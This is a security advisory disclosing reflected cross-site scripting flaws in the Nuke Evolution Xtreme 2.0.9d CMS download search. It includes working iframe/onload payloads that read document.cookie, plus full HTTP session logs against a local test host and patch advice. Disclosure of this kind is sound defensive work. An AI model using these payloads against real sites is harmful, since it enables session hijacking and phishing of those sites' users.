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Nuke Evolution 2.0.9d - Multiple Client Side Cross Site Scripting Vulnerabilities



Document Title:
===============
Nuke Evolution 2.0.9d -  Multiple Client Side Cross Site Scripting Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1894


Release Date:
=============
2016-08-09


Vulnerability Laboratory ID (VL-ID):
====================================
1894


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
Nuke-Evolution Xtreme is a very simple and useful Content Management System with connected mysql database application.

(Copy of the Homepage: http://evolution-xtreme.com )



Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple client side cross site vulnerabilities in the Nuke Evolution Xtreme v2.0.9d CMS with Php-Nuke 7.6p3.1 core.


Vulnerability Disclosure Timeline:
==================================
2016-08-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Nuke Evolution
Product: Xtreme - Content Management System (Evo Core) 2.0.9d, 2.0.8 and 2.0.7


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site scripting web vulnerabilities has been discovered in the official Nuke Evolution Xtreme v2.0.9d CMS.
The vulnerability allows remote attackers to inject own malicious script codes to client-side browser to web-application requests.

The cross site scripting vulnerabilities are located in the `query` and `ratenum` parameters of the `Download Search` module.
The attacker injects the payload to the client-side requested parameter to compromise the `top` and `query` search results output.
The injection points are the vulnerable marked parameters and the execution point occurs in the search results output web context 
of the `modules.php` file. The request method to inject is variable and can be POST or GET because both methods are supported for 
the search module. The output context of the search input is wrong parsed and thus allows to execute client-side script code 
in the download search webpage output context.

The security risk of the xss vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. 
Exploitation of the client-side vulnerabilities requires no privileged web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external 
redirect to malicious sources and non-persistent manipulation of affected or connected web module context.

Request Method(s):
			[+] GET
			[+] POST

Vulnerable Module(s):
			[+] Downloads - Search

Vulnerable File(s):
			[+] modules.php

Vulnerable Parameter(s):
			[+] query
			[+] ratenum

Affected Version(s):
			[+] Nuke Evolution: Xtreme v2.0.9d
			[+] Evo Core: Php-Nuke 7.6p3.1
			[+] Security: Sentinel v2.6.0.1


Proof of Concept (PoC):
=======================
The client-side cross site vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC #1: Vulnerable Source (Search Results - /nukeevolution/modules.php)
<div class="tables-wrap">
<div class="tables-hd">
<span class="tables-hd-left"></span>
<span class="tables-hd-right"></span></div>
<div class="tables-body">
<span class="tables-body-left"></span>
<span class="tables-body-right"></span>
<div class="tables-body-content">
<div class="title" style="text-align: center">
<strong>Search Results for: 
test &gt;%20"<iframe src="./evil_source" onload="alert(document.cookie)"[CLIENT SIDE SCRIPT CODE EXECUTION] <<="" strong=""></div>
</div></div>
<div class="tables-ft">
<span class="tables-ft-left"></span>
<span class="tables-ft-right"></span>
</div></div>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=search&query=test  
Mime Type[text/html]
   Request Header:
      Host[nuke-evolution.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Referer[http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=search&query=(CLIENT-SIDE SCRIPT CODE INEJCT!)]
      Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470496874.1470496618.; _pk_ses.2.bb5e=*]
      Connection[keep-alive]
   POST-Daten:
      query[test+%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C(CLIENT-SIDE SCRIPT CODE INJECT)]
   Response Header:
      Server[nginx/1.2.1]
      Date[Sat, 06 Aug 2016 15:21:52 GMT]
      Content-Type[text/html]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
      Set-Cookie[CNB_test1=value1
CNB_test2=value2; expires=Sat, 06-Aug-2016 16:21:52 GMT; Max-Age=3600
CNB_test3=value3; expires=Sat, 06-Aug-2016 16:21:52 GMT; Max-Age=3600; path=/
CNB_test4=value4; expires=Sat, 06-Aug-2016 16:21:52 GMT; Max-Age=3600]
      Vary[Accept-Encoding]
-
Status: 200[OK]
GET http://nuke-evolution.localhost:8080/nukeevolution/a[CLIENT-SIDE SCRIPT CODE EXECUTION!] 
Mime Type[text/html]
   Request Header:
      Host[nuke-evolution.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=search&query=test]
      Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470496874.1470496618.; _pk_ses.2.bb5e=*]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.2.1]
      Transfer-Encoding[chunked]
      Connection[keep-alive]


PoC #2: Vulnerable Source (Top Most Search Results - /nukeevolution/modules.php)
<div class="tables-wrap">
<div class="tables-hd">
<span class="tables-hd-left"></span>
<span class="tables-hd-right"></span>
</div>
<div class="tables-body">
<span class="tables-body-left"></span>
<span class="tables-body-right"></span>
<div class="tables-body-content">
<table border="0" width="100%"><tbody><tr><td align="center">
<center><span class="option"><strong>
Most Popular - Top "&gt;<iframe src="a" onload="alert(document.cookie)[CLIENT-SIDE SCRIPT CODE EXECUTION!]" <<="" strong="">
</span></center>
<tr><td align='center'>
Show Top: [ <a href='modules.php?name=Downloads&amp;op=MostPopular&amp;ratenum=10&amp;ratetype=num'>10</a> - 
<a href='modules.php?name=Downloads&amp;op=MostPopular&amp;ratenum=25&amp;ratetype=num'>25</a> - 
<a href='modules.php?name=Downloads&amp;op=MostPopular&amp;ratenum=50&amp;ratetype=num'>50</a> | 
<a href='modules.php?name=Downloads&amp;op=MostPopular&amp;ratenum=1&amp;ratetype=percent'>1%</a> - 
<a href='modules.php?name=Downloads&amp;op=MostPopular&amp;ratenum=5&amp;ratetype=percent'>5%</a> - 
<a href='modules.php?name=Downloads&amp;op=MostPopular&amp;ratenum=10&amp;ratetype=percent'>10%</a> ]
</td></tr></table><table border='0' cellpadding='0' cellspacing='4' width='100%'>
</tr></table>
</div>
</div>


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)[CLIENT-SIDE SCRIPT CODE INJECT!]%20%3C&ratetype=num
Mime Type[text/html]
   Request Header:
      Host[nuke-evolution.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470497691.1470496618.; _pk_ses.2.bb5e=*]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.2.1]
      Date[Sat, 06 Aug 2016 15:36:41 GMT]
      Content-Type[text/html]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
      Set-Cookie[CNB_test1=value1
CNB_test2=value2; expires=Sat, 06-Aug-2016 16:36:41 GMT; Max-Age=3600
CNB_test3=value3; expires=Sat, 06-Aug-2016 16:36:41 GMT; Max-Age=3600; path=/
CNB_test4=value4; expires=Sat, 06-Aug-2016 16:36:41 GMT; Max-Age=3600]
      Vary[Accept-Encoding]
-
Status: 200[OK]
GET http://nuke-evolution.localhost:8080/nukeevolution/x[CLIENT-SIDE SCRIPT CODE EXECUTION!] 
Mime Type[text/html]
   Request Header:
      Host[nuke-evolution.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C&ratetype=num]
      Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470497691.1470496618.; _pk_ses.2.bb5e=*]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.2.1]
      Date[Sat, 06 Aug 2016 15:36:41 GMT]
      Content-Type[text/html; charset=iso-8859-1]
      Transfer-Encoding[chunked]
      Connection[keep-alive]


Reference(s):
http://nuke-evolution.localhost:8080/
http://nuke-evolution.localhost:8080/nukeevolution/
http://nuke-evolution.localhost:8080/nukeevolution/modules.php
http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads
http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=
http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=&ratetype=num


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse or encode of the vulnerable query and ratenum parameters of the modules.php file GET method request.
Disallow the usage of special chars and filter the input to prevent client-side script code injects via POST or GET method in the search.
Escape the entries in case of emergency to prevent further injection attacks.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerabilities in the nuke evolution extreme cms are estimated as medium. (CVSS 3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


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=========================
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